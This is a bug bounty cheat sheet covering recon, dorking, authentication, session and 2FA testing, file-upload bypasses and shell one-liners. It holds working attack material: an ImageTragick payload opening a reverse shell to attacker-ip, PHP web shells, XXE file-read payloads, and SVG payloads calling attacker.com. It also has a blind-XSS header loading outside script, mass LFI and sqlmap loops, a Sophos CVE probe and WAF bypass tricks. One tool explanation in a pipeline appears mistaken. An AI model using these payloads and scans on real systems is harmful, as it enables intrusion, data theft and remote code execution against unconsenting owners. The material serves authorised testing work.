Bug Bounty

Master Checklist

Custom Header Setup

Steps to Add Custom Header in Burp Requests

• Select Proxy -> Options

• Go to Match and Replace and select add

• Specify the details of the match and replace as shown below

  1. Type: Request Header

  2. Match: Leave blank to add a new header

  3. Replace: [e-mail]

  4. Comment: Manually BBP header

Information Gathering

LeakIX - often blocked by organizations for gray hat searches Shodan - scans less frequently than LeakIX but whitelisted Censys - best overall scanner but without vulnerability discovery Chaos.ProjectDiscovery - Real-time Recon/DNS data for Public Bug Bounty Programs Search Engine Dorking ReconFTW - automated recon and vulnerability scanner Uncover - tool used to discover exposed hosts on the internet using multiple search engines PrettyRecon - Active Reconnaissance Tool BountyStrike - collection of bash and python scripts that installs common tools for recon scans and asset discovery

Nuclei - Security check scanner that is based on templates; Get started with Nuclei here Nuclei Templates Directory - Visually navigate available nuclei templates Community edition nuclei templates (CENT) - collect and organize other custom templates

Getting started with some CVE scanning using Nuclei templates:

nuclei -target "https://site.com" -t cves

nuclei -target "https://site.com" -t /path/to/nuclei-templates/cves

nuclei -target "https://site.com" -t cves -rl

Mass security testing on subdomains:

cat site subdomains.txt | nuclei -t /path/to/nuclei-templates/

nuclei -t /path/to/nuclei-templates/ -l urls.txt

-rl, -rate-limit int maximum number of requests to send per second (default 150)

-rlm, -rate-limit-minute int maximum number of requests to send per minute

Combining nuclei scanner with CENT custom templates

nuclei -u https://example.com -t ./cent-nuclei-templates -tags cve

nuclei -l urls.txt -t ./cent-nuclei-templates -tags cve

Daily updated Text file of all domains within scope on active Bug Bounty Programs https://github.com/arkadiyt/bounty-targets-data/blob/main/data/domains.txt

Google Dork	Purpose
intitle:"index of /.git/"	Searching for Directories
allintext:index filetype:git	Search for extensions
inurl:"index.php?id="	Searching for PHP pages
inurl:"admin/dashboard.php" site:.com	Searching for PHP admin dashboards
Intitle: "login" "admin" site:http://site.com	Searching for admin login pages
intitle:"Index of /" .htaccess site:http://site.com	Searching for exposed Apache configuration file
site:website.com inurl:"contact" | inurl:"contact-us" | inurl:"contactus" | inurl:"contcat_us" | inurl:"contact_form" | inurl:"contact-form"	Searching for possible contact form
inurl:http | inurl:url= | inurl:path= | inurl:dest= | inurl:html= | inurl:data= | inurl:domain= | inurl:page= inurl:& site:example[.]com	SSRF Prone Parameters

Shodan Dork	Purpose
hostname:".gov" product:"Jenkins" 200	Searching Jenkins instances in .gov
ssl.cert.subject.CN:"*.google.com"+200	Returns all SSL services that has issued a certificate for *.google.com with an HTTP response code of 200.
ssl.cert.issuer.cn:"DOD SW CA-60" 200	Returns all SSL certificates that have been issued by the DoD with response code of 200

Sensitive Information Exposure methods Use GitTools gitdumper.sh or gittyleaks

• gitdumper.sh http://IPorURL/.git git

Defense Evasion

Attempt to bypass application protections such as Cloudflare, Akamai, etc.

Worth a shot to use the tool by Cloudflare Origin IP by @gwen001

Check to see if application is behind a WAF

wafw00f $URL
whatwaf -u $URL
nmap -p $PORT --script=http-waf-fingerprint,http-waf-detect $URL

Authentication:

Registration

• Input validation

  • Space manipulation & Using Dots & Case sensivity check

  • Checking allowed characters (<> " ')

  • Register using [e-mail] or (%0d, %0a)

  • Register using [e-mail]

    • Response manipulate from 401 Unauthorized to 200 Ok or 302 Found

• Analysis

  • Check .js file on the page, such as login.js

  • Check the parameters used on the endpoint

    • Might be listed in the source or js

  • Checking the Mobile Endpoint

    • Does it have the same protection as webapp?

    • How does it treat Unicode characters?

  • Google Dorks

    • site:example.com inurl:register inurl:&

    • site:example.com inurl:signup inurl:&

    • site:example.com inurl:join inurl:&

• Misc

  • Email Takeover

    • Register an Email, before confirming, change the email. check if the new confirmation email is sent to the first registered email.

• Password reset process

  • Password reset tokens (expiration/reuse)

• Failed retry lockout (DoS)

• Password policies

• Update profile information without asking password

• Default or easy to guess keys

• User enumeration

• HTTP Authentication

• Authentication Bypass

• Identify weak authentication channels (Find primary mechanism and identify secondary mechanicsm / methods [Mobile App, Call Center, SSO])

Authorization:

• Testing Directory traversal/file inclusion

• Access to features, functionality or data that should not be available for the current role (privilege escalation, horizontal & vertical, Example: Access admin functionality from a user account without privileges (create, delete, modify users...)

• IDORs

  Example: The following URL returns our profile: target.com/profile?idUser=123 Cambiar por target.com/profile?idUser=124 Do you have access? Should this profile be accessible to our current user?

Session:

• No cookie validation

• Not setting a new cookie (session fixation - logout -> Login again)

• Cookieis easy to reverse engineer (base64/Hash ID)

• Are security options set? (secure/HttpOnly)

  HttpOnly not set? is there an XSS? <script>alert(document.cookie)</script>

• Testing for Cross Site Request Forgery

  Delete token (parameter y header) Forge your own token Use a second identical CSRF parameter Change POST to GET (or reverse, put, etc)

  Features that should be tested: . Add / Upload file · Change Email · Delete files · Change Password · Transfer money · Edit profile

• Logout

  Are you actually logged out? (Session is destroyed)

• Session timeout

  Does the session expire after a reasonable amount of time?

• JWT

  Signature check Check claims (Especially: aud -> "In practical use, this tends to be the "client id" or "client key" of the application that the JWT is intended to be used by."") Signature algorithm Sensitive information in the token How is it revoked? How is it used? How is it processed?

  • c-jwt-cracker

    Brute force, example: ./jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.cAOIAifu3fykvhkHpbuhbvtH807-Z2rI1FS3vX1XMjE

  • jwt_tool

    Check various vulns, crack with dictionary Example: python3 jwt_tool.py

  • JWT2John

  Convert JWT to a format crackable by John python3 jwt2john.py

  Execute John: ./john /tmp/token.txt —wordlist=wordlist.txt

General:

• Test HTTP Methods

• Header Injections

  X-Forwarded-Host: xxxx.com X-Forwarded-For: 127.0.0.1 X-Remote-IP: 127.0.0.1 X-Remote-Addr: 127.0.0.1 X-Originating-IP: 127.0.0.1

• Test CORS

• S3 AWS

  • lazys3
  • AWS Cli

  http://bucket.s3.amazonaws.com / http://s3.amazonaws.com/bucket aws s3 cp test.txt s3://target --no-sign-request aws s3 ls s3://target --no-sign-request

  • Metadata Cloud
  • How the AWS Access Key & Secret works****

  ---

File Upload:

• Extensions Impact

  • ASP, ASPX, PHP5, PHP, PHP3: Webshell, RCE

  • SVG: Stored XSS, SSRF, XXE

  • GIF: Stored XSS, SSRF

  • CSV: CSV injection

  • XML: XXE

  • AVI: LFI, SSRF

  • HTML, JS : HTML injection, XSS, Open redirect

  • PNG, JPEG: Pixel flood attack (DoS)

  • ZIP: RCE via LFI, DoS

  • PDF, PPTX: SSRF, BLIND XXE

• Blacklisting Bypass

  • PHP → .phtm, phtml, .phps, .pht, .php2, .php3, .php4, .php5, .shtml, .phar, .pgif, .inc

  • ASP → asp, .aspx, .cer, .asa

  • Jsp → .jsp, .jspx, .jsw, .jsv, .jspf

  • Coldfusion → .cfm, .cfml, .cfc, .dbm

  • Using random capitalization → .pHp, .pHP5, .PhAr

• Whitelisting Bypass

  • file.jpg.php

  • file.php.jpg

  • file.php.blah123jpg

  • file.php%00.jpg

  • file.php\x00.jpg this can be done while uploading the file too, name it file.phpD.jpg and change the D (44) in hex to 00.

  • file.php%00

  • file.php%20

  • file.php%0d%0a.jpg

  • file.php.....

  • file.php/

  • file.php.\

  • file.php#.png

  • file.

  • .html

Vulnerabilities

• Directory Traversal

  • Set filename ../../etc/passwd/logo.png

  • Set filename ../../../logo.png as it might changed the website logo.

• SQL Injection

  • Set filename 'sleep(10).jpg.

  • Set filename sleep(10)-- -.jpg.

• Command Injection

  • Set filename ; sleep 10;

• SSRF

  • Abusing the "Upload from URL", if this image is going to be saved in some public site, you could also indicate a URL from IPlogger and steal information of every visitor.
  • SSRF Through .svg file.

  <?xml version="1.0" encoding="UTF-8" standalone="no"?><svg xmlns:svg="http://www.w3.org/2000/svg" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="200" height="200"><image height="200" width="200" xlink:href="https://attacker.com/picture.jpg" /></svg>

• ImageTragic

  push graphic-context
  viewbox 0 0 640 480
  fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
  pop graphic-context

• XXE

  • Upload using .svg file

  <?xml version="1.0" standalone="yes"?>
  <!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]>
  <svg width="500px" height="500px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
     <text font-size="40" x="0" y="16">&xxe;</text>
  </svg>

  <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
      <image xlink:href="expect://ls"></image>
  </svg>

  • Using excel file

XSS

• Set file name filename="svg onload=alert(document.domain)>" , filename="58832_300x300.jpg<svg onload=confirm()>"

• Upload using .gif file

GIF89a/*<svg/onload=alert(1)>*/=alert(document.domain)//;

• Upload using .svg file

<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"/>

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
   <rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
   <script type="text/javascript">
      alert("HolyBugx XSS");
   </script>
</svg>

• Swagger UI XSS

Open Redirect

• Upload using .svg file

<code>
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<svg
onload="window.location='https://attacker.com'"
xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
</svg>
</code>

• Content-ish Bypass

  • Content-type validation

    • Upload file.php and change the Content-type: application/x-php or Content-Type : application/octet-stream to Content-type: image/png or Content-type: image/gif or Content-type: image/jpg.

  • Content-Length validation

    • Small PHP Shell

    (<?=`$_GET[x]`?>)

  • Content Bypass Shell

    • If they check the Content. Add the text "GIF89a;" before you shell-code. ( Content-type: image/gif )

    GIF89a; <?php system($_GET['cmd']); ?>

• Misc

  • Uploading file.js & file.config (web.config)

  • Pixel flood attack using image

  • DoS with a large values name: 1234...99.png

  • Zip Slip

    • If a site accepts .zip file, upload .php and compress it into .zip and upload it. Now visit, site.com/path?page=zip://path/file.zip%23rce.php

  • Image Shell

    • Exiftool is a great tool to view and manipulate exif-data. Then I will to rename the file mv pic.jpg pic.php.jpg

    exiftool -Comment='<?php echo "<pre>"; system($_GET['cmd']); ?>' pic.jpg

Adobe Experience Manager (AEM) Configuration Testing

Shodan Dork:

http.component:"Adobe Experience Manager"

Resources AEM Hacker Tool SlideShare presentation on AEM by 0ang3el

Reporting

CVSS 3.1 Calculator

One-Liners

Recon

Dump In-scope Assets from BBPs using repo from @arkadiyt

HackerOne Programs

curl -sL https://raw.githubusercontent.com/arkadiyt/bounty-targets-data/main/data/hackerone_data.json | jq -r '.[].targets.in_scope[] | [.asset_identifier, .asset_type] | @tsv'

BugCrowd Programs

curl -sL https://raw.githubusercontent.com/arkadiyt/bounty-targets-data/main/data/bugcrowd_data.json | jq -r '.[].targets.in_scope[] | [.target, .type] | @tsv'

Intigriti Programs

curl -sL https://raw.githubusercontent.com/arkadiyt/bounty-targets-data/main/data/intigriti_data.json | jq -r '.[].targets.in_scope[] | [.endpoint, .type] | @tsv'

YesWeHack Programs

curl -sL https://raw.githubusercontent.com/arkadiyt/bounty-targets-data/main/data/yeswehack_data.json | jq -r '.[].targets.in_scope[] | [.target, .type] | @tsv'

HackenProof Programs

curl -sL https://raw.githubusercontent.com/arkadiyt/bounty-targets-data/main/data/hackenproof_data.json | jq -r '.[].targets.in_scope[] | [.target, .type, .instruction] | @tsv'

Federacy Programs

curl -sL https://raw.githubusercontent.com/arkadiyt/bounty-targets-data/main/data/federacy_data.json | jq -r '.[].targets.in_scope[] | [.target, .type] | @tsv'

Dump list of all BBP Domains that are in scope and identify those without dns names (ips.txt)

curl -sL https://raw.githubusercontent.com/arkadiyt/bounty-targets-data/main/data/domains.txt > domains.txt && grep -E -o '(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)' domains.txt > ips.txt

Martian Grip

from @notnci with beginner explanation

shodan download testing 'cloud.region:"us-east-1" 200 product:"Elastic" port:8001'; shodan parse --fields ip_str,port testing.json.gz | tee testing_parsed.out | awk '{print$1":"$2}' | httpx -silent -o testing_httpx.out | nuclei -as -silent -o testing_nuclei.out; cat testing_nuclei.out | awk -F " " '{print $6}' | grip | uniq -u | tee testing_vuln_ips.out | nrich - | tee testing_nrich.out

• The shodan download command is attempting to search for devices in the US East (N. Virginia) region that have a product named "Elastic" and are listening on port 8001. The parse command is used to extract certain fields (in this case, ip_str and port) from the results of the search, which are stored in the file testing.json.gz.

• httpx is a tool that can be used to perform HTTP requests and analyze the response. In this case, the command is using the -silent flag to suppress output and the -o flag to write the response to a file called testing_httpx.out. The input for this command appears to be the list of IP addresses and ports extracted from the Shodan search results.

• ``nuclei is a tool for detecting vulnerabilities and misconfigurations in web applications. The -as flag stands for "active scan", which means that the tool will perform various types of requests to the target web application in order to identify potential vulnerabilities. The -silent flag suppresses output, and the -o flag specifies an output file for the results. The input for this command is the list of IP addresses and ports extracted from the Shodan search results.
• awk is a tool for processing text files. The command appears to be extracting the sixth field ($6) from the output of the nuclei command, which is piped (|) to the grip command.

• grip is a command line tool for rendering local readme files before sending them to GitHub. In this case, it is used to render the output of the awk command, which is then passed to uniq with the -u flag to remove duplicate lines. The resulting list of unique lines is written to the file testing_vuln_ips.out.

• nrich is a tool for performing OSINT (Open Source Intelligence) on IP addresses. The input for this command appears to be the list of IP addresses and ports extracted from the Shodan search results, and the - flag tells the tool to read the input from standard input (stdin). The results are written to the file testing_nrich.out.

Find SQLi at scale

# collect target urls \ `subfinder -d site.com -silent - all | httpx -silent -threads 100 | katana -d 4 -jc -ef css,png,svg,ico,woff,gif | tee -a urls`\ # filter potential SQLi Url cat urls | gf sqli | tee -a sqli `` # run test while read line; do sqlmap -u $line --parse-errors --curent-db --invalid-logical --invalid-bignum --invalid-string --risk 3; done < sqli

Local File Inclusion

gau HOST | gf lfi | qsreplace "/etc/passwd" | xargs -I% -P 25 sh -c 'curl -s "%" 2>&1 | grep -q "root:x" && echo "VULN! %"'

Open-redirect

export LHOST="URL"; gau $1 | gf redirect | qsreplace "$LHOST" | xargs -I % -P 25 sh -c 'curl -Is "%" 2>&1 | grep -q "Location: $LHOST" && echo "VULN! %"'

cat URLS.txt | gf url | tee url-redirect.txt && cat url-redirect.txt | parallel -j 10 curl --proxy http://127.0.0.1:8080 -sk > /dev/null

XSS

gospider -S URLS.txt -c 10 -d 5 --blacklist ".(jpg|jpeg|gif|css|tif|tiff|png|ttf|woff|woff2|ico|pdf|svg|txt)" --other-source | grep -e "code-200" | awk '{print $5}'| grep "=" | qsreplace -a | dalfox pipe | tee OUT.txt

𝘽𝙡𝙞𝙣𝙙 𝙓𝙎𝙎 𝙈𝙖𝙨𝙨 𝙃𝙪𝙣𝙩𝙞𝙣𝙜

cat domains.txt | waybackurls | httpx -H "User-Agent: \"><script src=https://chirag.bxss.in></script>"

Unauthenticated Blind SSRF via xmlrpc.php

cat iplist| httpx -silent -path /xmlrpc.php -title -match-string "XML-RPC"

Find JavaScript Files

assetfinder --subs-only HOST | gau | egrep -v '(.css|.png|.jpeg|.jpg|.svg|.gif|.wolf)' | while read url; do vars=$(curl -s $url | grep -Eo "var [a-zA-Zo-9_]+" | sed -e 's, 'var','"$url"?',g' -e 's/ //g' | grep -v '.js' | sed 's/.*/&=xss/g'):echo -e "\e[1;33m$url\n" "\e[1;32m$vars"; done

Extract Endpoints from JavaScript

cat FILE.js | grep -oh "\"\/[a-zA-Z0-9_/?=&]*\"" | sed -e 's/^"//' -e 's/"$//' | sort -u

Get CIDR & Org Information from Target Lists

for HOST in $(cat HOSTS.txt);do echo $(for ip in $(dig a $HOST +short); do whois $ip | grep -e "CIDR\|Organization" | tr -s " " | paste - -; d
one | uniq); done

Finding Subdomains

Get Subdomains from RapidDNS.io

curl -s "https://rapiddns.io/subdomain/$1?full=1#result" | grep "<td><a" | cut -d '"' -f 2 | grep http | cut -d '/' -f3 | sed 's/#results//g' | sort -u

Get Subdomains from BufferOver.run

curl -s https://dns.bufferover.run/dns?q=.HOST.com | jq -r .FDNS_A[] | cut -d',' -f2 | sort -u

export domain="HOST"; curl "https://tls.bufferover.run/dns?q=$domain" | jq -r .Results'[]' | rev | cut -d ',' -f1 | rev | sort -u | grep "\.$domain"

Get Subdomains from Riddler.io

curl -s "https://riddler.io/search/exportcsv?q=pld:HOST" | grep -Po "(([\w.-]*)\.([\w]*)\.([A-z]))\w+" | sort -u 

Get Subdomains from VirusTotal

curl -s "https://www.virustotal.com/ui/domains/HOST/subdomains?limit=40" | grep -Po "((http|https):\/\/)?(([\w.-]*)\.([\w]*)\.([A-z]))\w+" | sort -u

Get Subdomain with cyberxplore

curl https://subbuster.cyberxplore.com/api/find?domain=HOST -s | grep -Po "(([\w.-]*)\.([\w]*)\.([A-z]))\w+" 

Get Subdomains from CertSpotter

curl -s "https://certspotter.com/api/v1/issuances?domain=HOST&include_subdomains=true&expand=dns_names" | jq .[].dns_names | grep -Po "(([\w.-]*)\.([\w]*)\.([A-z]))\w+" | sort -u 

Get Subdomains from Archive

curl -s "http://web.archive.org/cdx/search/cdx?url=*.HOST/*&output=text&fl=original&collapse=urlkey" | sed -e 's_https*://__' -e "s/\/.*//" | sort -u

Get Subdomains from JLDC

curl -s "https://jldc.me/anubis/subdomains/HOST" | grep -Po "((http|https):\/\/)?(([\w.-]*)\.([\w]*)\.([A-z]))\w+" | sort -u

Get Subdomains from securitytrails

curl -s "https://securitytrails.com/list/apex_domain/HOST" | grep -Po "((http|https):\/\/)?(([\w.-]*)\.([\w]*)\.([A-z]))\w+" | grep ".HOST" | sort -u

Bruteforcing Subdomain using DNS Over

while read sub; do echo "https://dns.google.com/resolve?name=$sub.HOST&type=A&cd=true" | parallel -j100 -q curl -s -L --silent  | grep -Po '[{\[]{1}([,:{}\[\]0-9.\-+Eaeflnr-u \n\r\t]|".*?")+[}\]]{1}' | jq | grep "name" | grep -Po "((http|https):\/\/)?(([\w.-]*)\.([\w]*)\.([A-z]))\w+" | grep ".HOST" | sort -u ; done < FILE.txt

Get Subdomains With sonar.omnisint.io

curl --silent https://sonar.omnisint.io/subdomains/HOST | grep -oE "[a-zA-Z0-9._-]+\.HOST" | sort -u 

Get Subdomains With synapsint.com

curl --silent -X POST https://synapsint.com/report.php -d "name=https%3A%2F%2FHOST" | grep -oE "[a-zA-Z0-9._-]+\.HOST" | sort -u 

Get Subdomains from crt.sh

curl -s "https://crt.sh/?q=%25.HOST&output=json" | jq -r '.[].name_value' | sed 's/\*\.//g' | sort -u

Sort & Tested Domains from Recon.dev

curl "https://recon.dev/api/search?key=apikey&domain=HOST" |jq -r '.[].rawDomains[]' | sed 's/ //g' | sort -u | httpx -silent

Discover subdomains and enumerate API endpoints discovered with subfinder

subfinder -d host.com -silent -all | httpx -silent -o host.txt; for i in $(cat host_httpx.txt); do DOMAIN=$(echo $i | unfurl format %d); ffuf -u $i/FUZZ -w common-api-endpoints.txt -o ${DOMAIN]_ffuf.txt; done

Subdomain Bruteforcer with FFUF

ffuf -u https://FUZZ.HOST -w FILE.txt -v | grep "| URL |" | awk '{print $4}'

Find Allocated IP Ranges for ASN from IP Address

whois -h whois.radb.net -i origin -T route $(whois -h whois.radb.net IP | grep origin: | awk '{print $NF}' | head -1) | grep -w "route:" | awk '{print $NF}' | sort -n

Extract IPs from a File

grep -E -o '(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)' file.txt

CVE 2022-1040 (Give your domain without http/https on the "sophos_servers" file)

cat sophos_servers | while read host do; do curl --connect-timeout 10 -ks -H "X-Requested-With: XMLHttpRequest" -X POST "https://$host/userportal/Controller?mode=8700&operation=1&datagrid=179&json=\{"👽":"TEST"\}" | grep -q 'Session Expired' && printf "$host \033[1;41mVulnerable [ Sophos RCE ]\e[0m\n"; done;

General

Use grep 𝐭𝐨 𝗘𝘅𝘁𝗿𝗮𝗰𝘁 𝗨𝗥𝗟'𝘀 𝗳𝗿𝗼𝗺 𝗷𝘂𝗻𝗸 𝗱𝗮𝘁𝗮

• From a local file

cat file | grep -Eo "(http|https)://[a-zA-Z0-9./?=_-]*"*

• From an online resource

curl http://site.xxx/file.js | grep -Eo "(http|https)://[a-zA-Z0-9./?=_-]*"*

2FA Bypass

Techniques/Checklist

JS File Analysis

• Analyze all the JS Files that are referred in the response to see if any JS file contains information that can help bypass 2FA code

2FA Code Leakage in Response

• You can intercept otp using burpsuite and inspect http response and check if the 2FA code leaked

Lack of brute-Force Protection

• Type 2FA code and capture request using burpsuite

• Send request to intruder and send request for 100–200 times

• At 2FA Code Verification page, try to brute-force for valid 2FA and see if there is any success

2FA Refer Check Bypass

• Navigate to the page which comes after 2FA or any other authenticated page of the application. If this not successful, change the refer header to the 2FA page URL

Missing 2FA Code Integrity Validation

• Request a 2FA code from the attacker’s account

• Use this valid 2FA code in the victim 2FA Request and see if it bypasses the 2FA protection

Enabling 2FA Doesn’t Expire Previous Session

• If a bug hunter hijacks an active session before 2FA, it is possible to carry out all functions without a need for 2FA

Clickjacking on 2FA Disable Feature

• Try to iframe the page where the application allows a user to disable 2FA

Response Manipulation

• Observe response of the 2FA Request

• If receiving “Success”:false, change this to “Success”:true and see if it bypasses the 2FA

Status Code Manipulation

• If the Response Status Code is 4xx like 401, 402 then change the response Status Code to “200 OK” and see if it bypasses the 2FA

2FA Code Reusability

• Request a 2FA code and use it

• Re-use the same 2FA code in another session and if it authenticated successfully, that’s a potential issue

CSRF on 2FA Disable Feature

• Navigate to 2FA Page and click on “Disable 2FA” and capture this request with Burp Suite & generate a CSRF PoC

• Send this PoC to the victim, and check if CSRF happens successfully and remove the 2FA from the victim account

WAF Bypass Methods

CloudFront

Bypassing Cloudfront XSS WAF

1. alert = window["al"+"ert"]

2. bypass () with ``

3. replace space with /

4. encode symbols:

   • < = %3c

   • > = %3e

   • " = %22

   • [ = %5b

   • ] = %5d

   • ` = %60

Interesting Web Paths/Parameters

Remote Code Execution Parameters ?cmd={payload} ?exec={payload} ?command={payload} ?execute{payload} ?ping={payload} ?query={payload} ?jump={payload} ?code={payload} ?reg={payload} ?do={payload} ?func={payload} ?arg={payload} ?option={payload} ?load={payload} ?process={payload} ?step={payload} ?read={payload} ?function={payload} ?req={payload} ?feature={payload} ?exe={payload} ?module={payload} ?payload={payload} ?run={payload} ?print={payload} ?cmd={payload} ?exec={payload} ?command={payload} ?execute={payload} ?ping={payload} ?query={payload} ?jump={payload} ?code={payload} ?reg={payload} ?do={payload} ?func={payload} ?arg={payload} ?option={payload} ?load={payload} ?process={payload} ?step={payload} ?read={payload} ?function={payload} ?req={payload} ?feature={payload} ?exe={payload} ?module={payload} ?payload={payload} ?run={payload} ?print={payload}

Git

/.git

/.gitkeep

/.git-rewrite

/.gitreview

/.git/HEAD

/.gitconfig

/.git/index

/.git/logs

/.svnignore

/.gitattributes

/.gitmodules

/.svn/entries